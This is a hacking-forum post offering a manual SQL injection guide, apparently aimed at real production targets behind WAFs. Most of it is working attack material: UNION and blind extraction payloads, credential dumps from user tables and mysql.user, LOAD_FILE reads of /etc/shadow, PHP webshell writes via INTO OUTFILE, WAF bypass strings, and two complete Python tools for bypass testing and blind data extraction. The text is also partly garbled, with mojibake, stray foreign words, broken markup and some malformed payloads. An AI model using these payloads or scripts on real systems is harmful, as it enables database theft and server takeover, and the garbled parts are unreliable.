SQL Injection: Beyond sqlmap - The Complete Manual Injection Guide

Blacksec

Administrator
Staff member
πŸ›‘οΈ SQL Injection: Beyond sqlmap - The Complete Manual Injection Guide πŸ›‘οΈ


> Posted by: sqlninja_dev | Rank: Elite Member | Joined: 2023 [/I]



β€’ Basic understanding of how databases work
β€’ SQL basics (SELECT, UNION, WHERE, ORDER BY)
β€’ A test environment (DVWA, SQLi Labs, or your own lab)
β€’ NEVER test on systems you don't own or have permission for

Look, I get it. sqlmap is awesome. It automates the boring stuff.[/B]

But here's the thing - when you're up against a production target with WAFs, rate limiting, and advanced SQL injection protections, sqlmap either fails or gets you flagged. That's when you need to know what's actually happening under the hood.

Let me show you how to do SQLi manually like a grown-assζΈ—ι€ζ΅‹θ―•ε‘˜.

---

━━━ PHASE 1: Finding the Injection Point ━━━


Step 1: Basic Test - Single Quote

Try appending
Code:
 '[单引号] to any input field:
[CODE]
/search?q=test'
/user?id=1'
/login?user=admin'

What to look for:
  • SQL Error Message: "You have an error in your SQL syntax" β†’ GOLD
  • Blank Page: Query is dying silently
  • Different Output: Error vs normal page = injection point
  • HTTP 500: Server error on malformed input

Step 2: Determine Number of Columns
Code:
ORDER BY 1--   (works)
ORDER BY 2--   (works)
ORDER BY 3--   (works)
ORDER BY 4--   (error!)  ← 3 columns

Step 3: Find UNION Column Positions
Code:
' UNION SELECT NULL,NULL,NULL--   (use -1 or another invalid value first)
' UNION SELECT 1,2,3--           (numeric values work everywhere)

---

━━━ PHASE 2: Database Enumeration ━━━


MySQL (most common):
Code:
' UNION SELECT 1,version(),3--       β†’ Database version
' UNION SELECT 1,user(),3--          β†’ Current user
' UNION SELECT 1,database(),3--      β†’ Current database
' UNION SELECT 1,@@datadir,3--       β†’ Data directory
' UNION SELECT 1,@@version_compile_os,3-- β†’ OS info

PostgreSQL:
Code:
' UNION SELECT 1,version(),3--
' UNION SELECT 1,current_user,3--
' UNION SELECT 1,current_database(),3--
' UNION SELECT 1,session_user,3--

Microsoft SQL Server:
Code:
' UNION SELECT 1,@@version,3--
' UNION SELECT 1,user_name(),3--
' UNION SELECT 1 db_name(),3--
' UNION SELECT 1,SYSTEM_USER,3--

---

━━━ PHASE 3: Database Schema Discovery ━━━


MySQL - Finding Tables and Columns:
Code:
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()--

' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'--

' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_schema='security' AND table_name='users'--

Blind SQLi - Extracting Data Character by Character:
Code:
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>65--
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>100--
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>110--
' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))=110--  β†’ 'n'

⚑ Time-based Blind SQLi (when no output is visible):
Code:
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>100,SLEEP(5),0)--
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))>110,SLEEP(5),0)--
' AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables LIMIT 1),1,1))=110,SLEEP(5),0)--
# If page takes 5+ seconds to load, the character is 'n'

---

━━━ PHASE 4: Advanced Extraction Techniques ━━━

Extracting User Credentials (MySQL):
Code:
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users--
# 0x3a is colon separator

' UNION SELECT 1,GROUP_CONCAT(user,0x3a,host,0x3a,password),3 FROM mysql.user--
# MySQL 5.x password hashes (deprecated)

' UNION SELECT 1,GROUP_CONCAT(user,0x3a,host,0x3a,authentication_string),3 FROM mysql.user--
# MySQL 8.x password hashes

Reading Files Directly (MySQL - requires FILE privilege):
Code:
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3--
' UNION SELECT 1,LOAD_FILE('C:\\Windows\\win.ini'),3--
' UNION SELECT 1,LOAD_FILE('/etc/shadow'),3--

Writing Files (MySQL - for webshell upload):
Code:
' UNION SELECT 1,'<?php system($_GET[cmd]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--
# Or with FULL column specification:
' UNION SELECT 1,'<?php echo shell_exec($_GET[cmd]); ?>',3 INTO OUTFILE '/var/www/html/cmd.php'--

⚠️ MySQL 8+ Note:
Code:
INTO OUTFILE
requires
Code:
secure_file_priv
to be empty. Check with:
Code:
' UNION SELECT 1,@@secure_file_priv,3--

---

━━━ PHASE 5: WAF Bypass Techniques ━━━


Common WAF Rules to Bypass:
Code:
# Block: SELECT, UNION, WHERE, FROM, --, #, /*
# Block: spaces, comments, common SQL keywords

# Bypass 1: Alternative Comments
'UNI/**/ON SELECT 1,2,3--
'UNI/*comment*/ON SEL/*comment*/ECT 1,2,3

# Bypass 2: Alternative Whitespace
'UNI%0aON%0aSELECT%0a1,2,3--    (newlines)
'UNI%09ON%09SELECT%091,2,3--    (tabs)
'UNI%0dON%0dSELECT%0d1,2,3--    (carriage returns)

# Bypass 3: Hex Encoding
'UNI%78ON SEL%65CT 1,2,3--

# Bypass 4: String Concatenation
'UN||'ION SE||'LECT 1,2,3--

# Bypass 5: Case Variation
'UnIoN sElEcT 1,2,3--

# Bypass 6: Double URL Encoding
%25%32%35%25%32%37%25%36%31  (UNI)

# Bypass 7: Unicode Characters
'UNION SELECT 1,2,3--  β†’  '%u0055%u004E%u0049%u004F%u004E'

Automated Bypass Script:
Code:
#!/usr/bin/env python3
"""
SQL Injection WAF Bypass Tester
"""
import requests
import urllib.parse
import sys

class SQLiBypassTester:
    def __init__(self, target_url):
        self.url = target_url
        self.bypasses = self.load_bypasses()
        
    def load_bypasses(self):
        return {
            "comments": [
                "SELECT/*comment*/1",
                "SELECT/**/1",
                "SELECT%23comment%0A1",
            ],
            "whitespace": [
                "SELECT%091",
                "SELECT%0A1",
                "SELECT%0D1",
                "SELECT%20%201",
            ],
            "string_concat": [
                "UN||'ION SEL||'ECT",
                "UN'+'ION SE'+'LECT",
            ],
            "hex_encoding": [
                "0x554E494F4E53454C454354",
            ],
            "case_variation": [
                "sElEcT",
                "SeLeCt",
                "SELect",
            ],
            "double_encoding": [
                "%25%32%35%25%32%37%25%36%31",
            ]
        }
    
    def test_payload(self, original, bypass_variant):
        payload = original.replace("SELECT", bypass_variant)
        encoded = urllib.parse.quote(payload)
        
        try:
            resp = requests.get(self.url + encoded, timeout=10)
            return {
                "payload": payload,
                "encoded": encoded,
                "status": resp.status_code,
                "length": len(resp.text),
                "time": resp.elapsed.total_seconds(),
            }
        except Exception as e:
            return {"payload": payload, "error": str(e)}
    
    def run_test(self):
        base_payload = "' UNION SELECT 1,2,3--"
        results = []
        
        for category, variants in self.bypasses.items():
            for variant in variants:
                result = self.test_payload(base_payload, variant)
                result["category"] = category
                result["original"] = base_payload
                results.append(result)
                print(f"  [{category}] {variant[:30]}... β†’ HTTP {result.get('status', 'ERR')}")
                
        return results

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)
    tester = SQLiBypassTester(sys.argv[1])
    results = tester.run_test()

---

━━━ PHASE 6: Automated Tooling (Beyond sqlmap) ━━━


SQLMap with Custom Options:
Code:
# Basic injection test
sqlmap -u "http://target.com/page?id=1" --batch --level=3 --risk=2

# With WAF bypass
sqlmap -u "http://target.com/page?id=1" --batch --technique=UE
sqlmap -u "http://target.com/page?id=1" --batch --tamper=space2comment,randomcase

# Custom tamper scripts
sqlmap -u "http://target.com/page?id=1" --batch --tamper=apostrophemask,between,bluecoat,space2comment

# Crawling mode (find params automatically)
sqlmap -u "http://target.com/" --crawl=3 --batch --depth=2

# With authentication
sqlmap -u "http://target.com/page?id=1" --batch --cookie="session=abc123"
sqlmap -u "http://target.com/page?id=1" --batch --auth-type=Basic --auth-cred="user:pass"

# Second-order injection (stored in DB, triggered later)
sqlmap -u "http://target.com/register" --data="username=test&email=test@test.com" --batch

Custom Python Exploit Framework:
Code:
#!/usr/bin/env python3
"""
Custom SQLi Extraction Framework
"""
import requests
import urllib.parse
import time
import sys

class SQLiExtractor:
    def __init__(self, url, param, session=None):
        self.url = url
        self.param = param
        self.session = session or requests.Session()
        self.characters = "abcdefghijklmnopqrstuvwxyz0123456789@_.{}()-:ABCDEFGHIJKLMNOPQRSTUVWXYZ"
        self.timeout = 10
        
    def extract_length(self, query):
        """Extract the length of a query result"""
        for length in range(1, 100):
            payload = f"' AND LENGTH({query})={length}--"
            if self.test_payload(payload):
                return length
        return 0
    
    def extract_string(self, query, max_length=50):
        """Extract a string character by character"""
        result = ""
        for pos in range(1, max_length + 1):
            for char in self.characters:
                payload = f"' AND SUBSTRING({query},{pos},1)='{char}'--"
                if self.test_payload(payload):
                    result += char
                    print(f"  [+] Extracted: {result}", end='\r')
                    break
        return result
    
    def test_payload(self, payload):
        """Test if a payload causes a true condition"""
        params = {self.param: payload}
        try:
            resp = self.session.get(self.url, params=params, timeout=self.timeout)
            # Compare response with baseline
            return len(resp.text) > 1000  # Adjust based on target
        except:
            return False
    
    def extract_database_info(self):
        """Extract database information"""
        print("[*] Extracting database info...")
        
        info = {
            "version": self.extract_string("VERSION()"),
            "user": self.extract_string("USER()"),
            "database": self.extract_string("DATABASE()"),
            "hostname": self.extract_string("@@hostname"),
        }
        
        print(f"\n[+] Database: {info['database']}")
        print(f"[+] User: {info['user']}")
        print(f"[+] Version: {info['version']}")
        print(f"[+] Host: {info['hostname']}")
        
        return info
    
    def extract_tables(self, db=None):
        """Extract table names from a database"""
        print("[*] Extracting table names...")
        
        if db:
            query = f"(SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT 0,1)"
        else:
            query = "(SELECT table_name FROM information_schema.tables LIMIT 0,1)"
        
        tables = []
        offset = 0
        while True:
            if db:
                query = f"(SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {offset},1)"
            else:
                query = f"(SELECT table_name FROM information_schema.tables LIMIT {offset},1)"
            
            table = self.extract_string(query, 50)
            if not table or table in tables:
                break
            tables.append(table)
            print(f"  [+] Table {offset}: {table}")
            offset += 1
            
        return tables
    
    def extract_columns(self, table):
        """Extract column names from a table"""
        print(f"[*] Extracting columns for {table}...")
        
        columns = []
        query = f"(SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT 0,1)"
        offset = 0
        
        while True:
            query = f"(SELECT column_name FROM information_schema.columns WHERE table_name='{table}' LIMIT {offset},1)"
            column = self.extract_string(query, 50)
            if not column or column in columns:
                break
            columns.append(column)
            print(f"  [+] Column {offset}: {column}")
            offset += 1
            
        return columns
    
    def extract_data(self, table, columns, limit=10):
        """Extract data from specific table and columns"""
        print(f"[*] Extracting data from {table}...")
        
        col_list = ",".join(columns)
        results = []
        
        for offset in range(limit):
            row = {}
            for col in columns:
                query = f"(SELECT {col} FROM {table} LIMIT {offset},1)"
                row[col] = self.extract_string(query, 100)
            results.append(row)
            print(f"  [+] Row {offset}: {row}")
            
        return results

if __name__ == "__main__":
    if len(sys.argv) < 4:
        print(f"Usage: {sys.argv[0]} <url> <param> [table]")
        sys.exit(1)
    
    extractor = SQLiExtractor(sys.argv[1], sys.argv[2])
    extractor.extract_database_info()
    
    if len(sys.argv) == 4:
        tables = extractor.extract_tables()
        if sys.argv[3] in tables:
            columns = extractor.extract_columns(sys.argv[3])
            data = extractor.extract_data(sys.argv[3], columns)

---

━━━ TL;DR ━━━


Code:
βœ… Start with single quote test: ' OR 1=1--
βœ… Use ORDER BY to find column count
βœ… UNION SELECT to extract data (if supported)
βœ… Blind SQLi: Use SLEEP() or BENCHMARK() for time-based extraction
βœ… WAF bypass: Comments, whitespace, case variation, encoding
βœ… Always test in a lab environment first
βœ… Document your methodology for the report

---

Got questions or found a cool bypass? Drop it below.
Next: XSS chains and DOM-based exploitation.

Last edited by sqlninja_dev; 3 hours ago.



[SIG]━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
sqlninja_dev | Elite Member | Web App Security
⚑ "Data is the new oil, but SQL injection is the drill" ⚑
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━[/SIG]
[/b][/b][/b][/b][/b]
 
Top